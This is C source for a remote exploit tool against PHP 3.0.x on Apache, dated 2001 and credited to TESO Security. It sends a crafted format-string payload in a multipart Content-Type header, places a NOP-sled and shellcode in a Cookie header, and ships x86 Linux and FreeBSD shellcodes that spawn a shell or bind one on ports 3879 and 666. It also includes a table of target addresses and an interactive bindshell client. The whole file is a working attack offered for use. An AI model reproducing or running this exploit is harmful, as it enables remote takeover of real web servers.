/*
 *
 * TESO CONFIDENTIAL - SOURCE MATERIALS
 *
 * This is unpublished proprietary source code of TESO Security.
 * c0wb0y
 * The contents of these coded instructions, statements and computer
 * programs may not be disclosed to third parties, copied or duplicated in
 * any form, in whole or in part, without the prior written permission of
 * TESO Security.
 * (C) COPYRIGHT TESO Security, 2001
 * All Rights Reserved
 *
 * bug found by scut 2001/12/11
 * further research by smiler, zip, lorian and me.
 * thanks to zip's cool friend for giving me a testbed to play on
 */

#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#if !defined(__FreeBSD__)
# include <getopt.h>
#endif


#define xLITTLE_ENDIAN          1
#define xBIG_ENDIAN             2
#define PERSISTANT              1
#define ESYSLOG                 1
#define EFILE                   2

#define COOKIE_SIZE          1000
#define ADDRESS_BUFFER_SIZE   8*4
#define ATTACK_BUFFER_SIZE    500


struct _platforms
{
   char *version;
   char *description;
   unsigned long cookie_address;
   unsigned long eip_address;
   int technique;
   int endian;
   int alignment;
   int padding;
   struct _shellcodes *shellcode;
};


struct _shellcodes
{
   char *description;
   int length; /* depreciated */
   char *code;
   char *nop;
   int type;
};


/* note that the shellcodes may not contain 0x3d '=' */

struct _shellcodes shellcodes[] =
{
   {
      "Linux(x86) aleph1's execve shell -> /tmp/la",
      45,
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
      "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
      "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/tmp/la",
      "\x90",
      0
   }, {
      "Linux(x86) dup2 shell",
      77,
      /* alarm(0);fork();dup2(1,0);dup2(2,0);execute /bin/sh;exit(0) */
//      "\xcc"
      "\x31\xc0\x31\xdb\x04\x0b\xcd\x80\x31\xc0\x40\x40\xcd\x80\x85"
      "\xc0\x75\x28\x89\xd9\x31\xc0\x41\x04\x3f\xcd\x80\x31\xc0\x04"
      "\x3f\x41\xeb\x1f\x31\xc0\x5f\x89\x7f\x08\x88\x47\x07\x89\x47"
      "\x0c\x89\xfb\x8d\x4f\x08\x8d\x57\x0c\x04\x0b\xcd\x80\x31\xc0"
      "\x31\xdb\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh",
      "\x90",
      PERSISTANT
   }, {
      "Linux(x86) bindshell on port 3879",
      129,
      "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
      "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
      "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
      "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
      "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
      "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
      "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
      "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh",
      "\x90",
      3879
   }, {
      "FreeBSD(x86) bindshell on port XXXX",
      134,
      "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x61\xeb\x7e\x5f\xc6\x47\x08"
      "\x9a\x89\x47\x09\x89\x47\x0d\xc6\x47\x0d\x07\xc6\x47\x0f\xc3\x50"
      "\x53\x6a\x01\x6a\x02\x8d\x4f\x08\xff\xd1\x89\x47\x24\xb0\x68\x50"
      "\x6a\x10\xb3\x02\x66\x89\x5f\x10\xb3\x45\x66\x89\x5f\x12\x89\x57"
      "\x14\x8d\x5f\x10\x53\xff\x77\x24\xff\xd1\xb0\x6a\x50\x6a\x02\xff"
      "\x77\x24\xff\xd1\xb0\x1e\x50\x52\x52\xff\x77\x24\xff\xd1\x89\xc3"
      "\xb0\x5a\x50\x52\x53\xff\xd1\xb0\x5a\x50\x42\x52\x53\xff\xd1\xb0"
      "\x5a\x50\x42\x52\x53\xff\xd1\xb0\x3b\x31\xdb\x50\x88\x5f\x07\x53"
      "\x89\x7f\x10\x8d\x5f\x10\x53\x57\xff\xd1\xe8\x7d\xff\xff\xff/bin/sh",
      "\x90",
      666
   }, {
      "FreeBSD(x86) execve shellcode by mudge@l0pht.com -> /tmp/la",
      67,
      "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
      "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
      "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
      "\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/la",
      "\x90",
      0
   }, {
      NULL, 0, NULL, 0
   }
};


#define LINUX_EXECVE         &shellcodes[0]
#define LINUX_DUP2_SHELLCODE &shellcodes[1]
#define LINUX_BINDSHELL      &shellcodes[2]
#define FREEBSD_BINDSHELL    &shellcodes[3]
#define FREEBSD_EXECVE       &shellcodes[4]


struct _platforms platforms[] =
{
   {
      "PHP/3.0.16 on Apache 1.3.12, static",
      "Slackware Linux 7.0 glibc (DEVEL)",
      0x0815b34c, 0xbfff9b54, //0xbfff9290,
      3, xLITTLE_ENDIAN,
      1, 124, /* 124 */
      LINUX_BINDSHELL
   }, {
      "PHP/3.0.12 on Apache 1.3.9, static",
      "Slackware Linux 4.0 libc (DEVEL)",
      0x081688e8, 0xbfff9460,
      3, xLITTLE_ENDIAN,
      1, 116,
      LINUX_BINDSHELL
   }, {
      "PHP/3.0.12 on Apache 1.3.12, static",
      "Slackware Linux 7.0 glibc (DEVEL)",
      0x0814bc88, 0xbfff931c,
      3, xLITTLE_ENDIAN,
      1, 112,
      LINUX_BINDSHELL
   }, {
      "PHP/3.0.15 on Apache/1.3.12, static",
      "FreeBSD 3.4-STABLE with package apache+php-1.3.12+3.0.15.tgz",
      /* -rwxr-xr-x  1 root  wheel  748095 25   20:28   /usr/local/sbin/apache
*/
      /* /usr/local/sbin/apache: ELF 32-bit LSB executable, Intel 80386, versio
n 1 (FreeBSD), dynamically linked, not stripped */
      0x81250e0, 0xbfbf7260, 3, xLITTLE_ENDIAN, 1, 112,
      FREEBSD_EXECVE
   }, {
      NULL, NULL, 0L, 0L, 0, 0, 0, 0, NULL
   }
};


char shellcode_buffer[COOKIE_SIZE+1];
char attack_buffer[ATTACK_BUFFER_SIZE+1];
char pad_buffer[256];
char prepend_buffer[256];
char append_buffer[256];
struct in_addr ina;
int debug_mode = 0;
int emethod = 0;
int sock = -1;


int failure(char *format, ...)
{
   va_list va;

   fprintf (stderr, "  [-]: ");

   va_start (va, format);
   vfprintf (stderr, format, va);
   va_end (va);

   fprintf (stderr, "\n");
   fflush (stderr);

   exit(-1);
}


#undef DEBUG


void technique_3(u_long eip_addr, u_long shellcode_addr, u_int previous)
{
   int i;
   unsigned int tmp = 0;
   unsigned int copied = previous;
   unsigned int num[4] =
   {
      (unsigned int) (shellcode_addr & 0x000000ff),
      (unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
      (unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
      (unsigned int)((shellcode_addr & 0xff000000) >> 24)
   };

   memset (prepend_buffer, '\0', sizeof(prepend_buffer));
   memset (append_buffer, '\0', sizeof(append_buffer));

   for (i = 0; i < 4; i++)
   {
      while (copied > 0x100)
         copied -= 0x100;

#ifdef DEBUG
      if (debug_mode)
         printf ("[#]  num[%d] = %d (0x%02x), copied: %d\n", i, num[i], num[i],
 copied);
#endif

      if ( (i > 0) && (num[i-1] == num[i]) ) /* copied == num[i], no change */
      {
         strcat (append_buffer, "%n");
#ifdef DEBUG
         if (debug_mode)
            printf ("  [+]  num[%d] == num[%d-1], appending \"%%n\"\n", i, i);
#endif
      } else if (copied < num[i])
      {
         if ( (num[i] - copied) <= 10)
         {
#ifdef DEBUG
            if (debug_mode)
               printf ("  [+]  num[%d] > %d: %d bytes, skipping use of %%.u\n",
 i, copied, (num[i] - copied));
#endif
            sprintf (append_buffer+strlen(append_buffer), "%.*s", (int)(num[i]
- copied), "PORTALPORTAL");
            copied += (num[i] - copied);
            strcat (append_buffer, "%n");
         } else {
#ifdef DEBUG
            if (debug_mode)
               printf ("  [+]  num[%d] > %d: %d bytes, using %%.u\n", i, copied
, (num[i] - copied));
#endif
            sprintf (append_buffer+strlen(append_buffer), "%%.%du", num[i] - copied);
            copied += (num[i] - copied);
            strcat (append_buffer, "%n");
            strcat (prepend_buffer, "AAAA"); /* dummy */
         }

      } else //if (copied > num[i])
      {
#ifdef DEBUG
         if (debug_mode)
            printf ("  [+]  num[%d] < %d: %d bytes, increasing\n", i, copied, (
copied - num[i]));
#endif
         tmp = ((num[i] + 0xff) - copied);
         sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp);
         copied += ((num[i] + 0xff) - copied);
         strcat (append_buffer, "%n");
         strcat (prepend_buffer, "AAAA");
      }
      sprintf (prepend_buffer+strlen(prepend_buffer), "%c%c%c%c",
         (unsigned char) ((eip_addr+i) & 0x000000ff),
         (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
         (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
         (unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
   }

   while (strlen(prepend_buffer) < ADDRESS_BUFFER_SIZE)
      strcat (prepend_buffer, "X");

   if (debug_mode)
   {
      printf ("\nGeneration complete:\nPrepend: ");
      for (i = 0; i < strlen(prepend_buffer); i++)
      {
         if ( ((i % 4) == 0) && (i > 0) )
            printf (".");
         printf ("%02x", (unsigned char)prepend_buffer[i]);
      }
      printf ("\nAppend: %s\n", append_buffer);
   }

   return;
}


void preparation(struct _platforms *pf)
{
   int written_bytes = 0;
   int i;

   /* phase 1: put our nops and the shellcode in huge buffer */

   memset (shellcode_buffer, '\0', sizeof(shellcode_buffer));
   for (i = 0; i < COOKIE_SIZE - pf->shellcode->length; )
   {
      memcpy (&shellcode_buffer[i], pf->shellcode->nop, strlen(pf->shellcode->nop));
      i += strlen(pf->shellcode->nop);
   }
   memcpy (&shellcode_buffer[COOKIE_SIZE - pf->shellcode->length],
      pf->shellcode->code, pf->shellcode->length+1);

   /* phase 2: start filling in our attack buffer */

   memset (attack_buffer, '\0', sizeof(attack_buffer));
   strcpy (attack_buffer, "Content-Type: multipart/form-data; ");
   for (i = 0; i < pf->alignment; i++)
      strcat (attack_buffer, "Z");

   written_bytes = strlen("The Content-Type string was: \"multipart/form-data;");
   written_bytes += pf->alignment;
/*
   switch (emethod)
   {
      case EFILE:
         written_bytes += 0;
         break;

      case ESYSLOG:
         written_bytes += 47;
         break;
   }
*/
   written_bytes += 47;

   /* phase 3: set up the correct padding */

   memset (pad_buffer, '\0', sizeof(pad_buffer));
   i = pf->padding;

   while (i >= 4)
   {
/*
      strcpy (pad_buffer+strlen(pad_buffer), "%20.0f");
      written_bytes += 20;
      i -= 8;
*/
      strcat (pad_buffer, "%c");
      written_bytes += 1;
      i -= 4;
   }

//   written_bytes += ADDRESS_BUFFER_SIZE;

   /* phase 4: set up the address and impact buffers */

   switch (pf->technique)
   {
       case 1:
          /* bgennum() */
       case 2:
          /* tgennum() */
       case 3:
          technique_3 (pf->eip_address, pf->cookie_address, written_bytes);
          break;

       default:
          failure ("Unrecognized technique: \"%d\".\n", pf->technique);
          break; /* never reached */
   }

   /* phase 5: assemble the attack_buffer */

   strcat (attack_buffer, prepend_buffer);
   strcat (attack_buffer, pad_buffer);
   strcat (attack_buffer, append_buffer);

   while (strlen(attack_buffer) < ATTACK_BUFFER_SIZE)
      strcat (attack_buffer, ".");

   if (debug_mode)
   {
      printf ("  [$] Attack buffer is:\n");
      for (i = 0; i < strlen(attack_buffer); i++)
         printf ("%02x  ", (unsigned char)attack_buffer[i]);
      printf ("\n  [$] That is,\n");
      for (i = 0; i < strlen(attack_buffer); i++)
         printf ("%c", (unsigned char)attack_buffer[i]);
      printf ("\n");
   }

   return;
}


struct in_addr *hostname_resolve(char *hostname, int show)
{
   struct hostent *he = NULL;

   if ( (inet_aton(hostname, &ina)) == 0)
   {
      if ( (he = gethostbyname(hostname)) == NULL)
         failure ("Unable to resolve %s.\n", hostname);

      memcpy (&ina, he->h_addr, he->h_length);
      if (show)
         printf ("  [+] Resolved %s to %s.\n", hostname, inet_ntoa(ina));
   }

   return (&ina);
}


int do_connect(char *hostname, int port, int do_resolve)
{
   struct sockaddr_in sin;
   struct in_addr *in;
   int sockie = -1;

   in = hostname_resolve(hostname, do_resolve);

   if ( (sockie = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
      failure ("Unable to get a socket.\n");

   memset (&sin, '\0', sizeof(struct sockaddr_in));

   sin.sin_family      = PF_INET;
   sin.sin_port        = htons(port);
   sin.sin_addr.s_addr = in->s_addr;

   if ( (connect (sockie, (struct sockaddr *)&sin, sizeof(struct sockaddr))) <
0)
      failure ("Unable to connect to %s:%d.\n", hostname, port);

   return (sockie);
}


/* FIX ME, let this only read one byte at a time, and stop on newlines! */


int receive(char *buffer, size_t size)
{
   struct timeval tv;
   fd_set fds;
   int i = -1;

   tv.tv_sec  = 5;
   tv.tv_usec = 0;

   FD_ZERO (&fds);
   FD_SET  (sock, &fds);

   i = select(sock+1, &fds, NULL, NULL, &tv);

   if (i < 0)
      return (-1);

   if (!FD_ISSET(sock, &fds))
      return (-2);

   (void)read (sock, buffer, size);

   return (0);
}


int transmit(char *format, ...)
{
   char buffer[8192];
   struct timeval tv;
   fd_set fds;
   va_list va;
   int i = -1;

   tv.tv_sec  = 5;
   tv.tv_usec = 0;

   FD_ZERO (&fds);
   FD_SET  (sock, &fds);

   i = select(sock+1, NULL, &fds, NULL, &tv);

   if (i < 0)
      return (-1);

   if (!FD_ISSET(sock, &fds))
      return (-2);

   memset (buffer, '\0', sizeof(buffer));

   va_start (va, format);
   vsnprintf (buffer, sizeof(buffer)-1, format, va);
   va_end (va);

   (void)write (sock, buffer, strlen(buffer));

   return (0);
}



void usage(char *program_name)
{
   int i;

   printf ("                       PHP3 REMOTE EXPLOIT - June 2000\n");

   printf ("%s <victim> <-s systype> <-f script> <-m ...> [options]\n", program_name);
   printf ("   -s: Remote system type (must precede other arguments).\n");
   printf ("   -f: A PHP3 script on the remote server (e.g. / or /index.php3.\n");
   printf ("   -m: Method ('syslog' or 'file')\n");
   printf ("   -P: Port to use (default 80, of course).\n");
   printf ("   -C: Perform a version check on the remote host.\n");
   printf ("   -P: Alter the number of bytes needed for padding.\n");
   printf ("   -S: Change the shellcode to be used.\n");
   printf ("   -r: Specify the EIP address.\n");
   printf ("   -R: Change the address of the shellcode.\n");
   printf ("   -d: Toggle debug-mode.\n");
   printf ("Available system types:\n");

   for (i = 0; platforms[i].version != NULL; i++)
      printf ("   %d:  %s; %s\n", i, platforms[i].version, platforms[i].description);

   printf ("Available shellcodes:\n");
   for (i = 0; shellcodes[i].description != NULL; i++)
      printf ("   %d:  %s\n", i, shellcodes[i].description);

   exit (0);
}


void bindshell(int rsock)
{
   char buf[4096];
   fd_set fds;
   struct timeval tv;
   int i, r;

   printf ("  [+] Running bindshell:\n");

   while (1)
   {
      FD_ZERO (&fds);
      FD_SET  (0, &fds); /* stdin */
      FD_SET  (rsock, &fds);
      tv.tv_sec  = 1;
      tv.tv_usec = 0;

      i = select (rsock+1, &fds, NULL, NULL, &tv);

      if (i < 0)
      {
         close (rsock);
         failure ("Select() returned an error.\n");
      }

      if (i == 0) /* no change */
         continue;

      if (FD_ISSET (0, &fds))
      {
         memset (buf, '\0', sizeof(buf));
         i = read(0, buf, sizeof(buf)-1);

         if (i < 0)
            failure ("What the heck happened to your computer?\n");

         if (i > 0)
         {
            r = write (rsock, buf, i);
            if (r < 0)
            {
               close (rsock);
               failure ("Unable to transmit data, connection terminated.\n");
            }
         }
      }

      if (FD_ISSET (rsock, &fds))
      {
         memset (buf, '\0', sizeof(buf));
         i = read(rsock, buf, sizeof(buf)-1);

         if (i <= 0)
         {
            close (rsock);
            failure ("The connection was terminated.\n");
         }

         printf ("%s", buf);
      }
   }

   return; /* never reached */
}


int main(int argc, char **argv)
{
   char *program_name = argv[0];
   char *victim = NULL;
   char *script = NULL;
   int do_version_check = 0;
   int systype = -1;
   int version = 0;
   int port = 80;
   int c;

   if (argc < 2)
      usage(argv[0]);

   victim = (char *)strdup(argv[1]);
   if (victim == NULL)
      failure ("Memory allocation failed.\n");

   argv++; argc--;

   while ( (c = getopt(argc, argv, "p:P:s:S:r:R:C:f:m:hd")) != EOF)
   {
      switch (c)
      {
         case 'P':
            port = atoi(optarg);
            break;

         case 's':
            systype = atoi(optarg);
            if (systype > 3)
               usage(program_name);
            break;

         case 'S':
            if (systype >= 0)
               platforms[systype].shellcode = &shellcodes[atoi(optarg)];
            else
               printf ("  [-] Warning: S argument ignored because systype has n"
"ot been selected.\n");
            break;

         case 'C':
            do_version_check = 0;
            break;

         case 'd':
            debug_mode = !debug_mode;
            break;

         case 'f':
            script = (char *)strdup(optarg);
            if (script == NULL)
               failure ("Buy more RAM!\n");
            break;

         case 'm':
            if (!strcasecmp (optarg, "syslog"))
               emethod = ESYSLOG;
            else if (!strcasecmp (optarg, "file"))
               emethod = EFILE;
            else
               failure ("Known methods are: 'syslog' and 'file'.\n");
            break;

         case 'p':
            if (systype >= 0)
               platforms[systype].padding = atoi(optarg);
            else
               printf ("  [-] Warning: -p argument ignored because systype has"
"not been selected.\n");
            break;

         case 'r':
            if (systype >= 0)
               platforms[systype].eip_address = strtoul(optarg, &optarg, 16);
            else
               printf ("  [-] Warning: -r argument ignored because systype has"
"not been selected.\n");
            break;

         case 'R':
            if (systype >= 0)
               platforms[systype].cookie_address = strtoul(optarg, &optarg, 16)
;
            else
               printf ("  [-] Warning: -R argument ignored because systype has"
"not been selected.\n");
            break;

         default:
            usage(program_name);
            break; /* not reached */
      }
   }

   if ( (systype < 0) || (script == NULL) || (emethod == 0) )
      usage(program_name);

   printf ("  [+] Attacking: %s:%d.\n", victim, port);
   printf ("  [+] System type: %s: %s.\n", platforms[systype].version,
      platforms[systype].description);
   printf ("  [+] Shellcode: %s\n", platforms[systype].shellcode->description);
   printf ("  [+] EIP address:       %#08lx\n", platforms[systype].eip_address)
;
   printf ("  [+] Shellcode address: %#08lx\n", platforms[systype].cookie_address);

   sock = do_connect(victim, port, 1);

   preparation((struct _platforms *)&platforms[systype]);

   transmit ("POST %s?STRENGUR HTTP/1.0\n", script);
   transmit ("Cookie: %s\n", shellcode_buffer);
   transmit ("Host: localhost\n");
   transmit ("%s\n", attack_buffer);
   transmit ("Content-Length: 1337\n\n");
   transmit ("too bad, dude. too bad.\n\n");

   switch (platforms[systype].shellcode->type)
   {
      case 0:
         break;

      case PERSISTANT:
         bindshell (sock);
         break;

      default:
         close (sock);

         sock = do_connect (victim, platforms[systype].shellcode->type, 0);
         bindshell (sock);

         break;
   }

   close (sock);

   return (0);
}


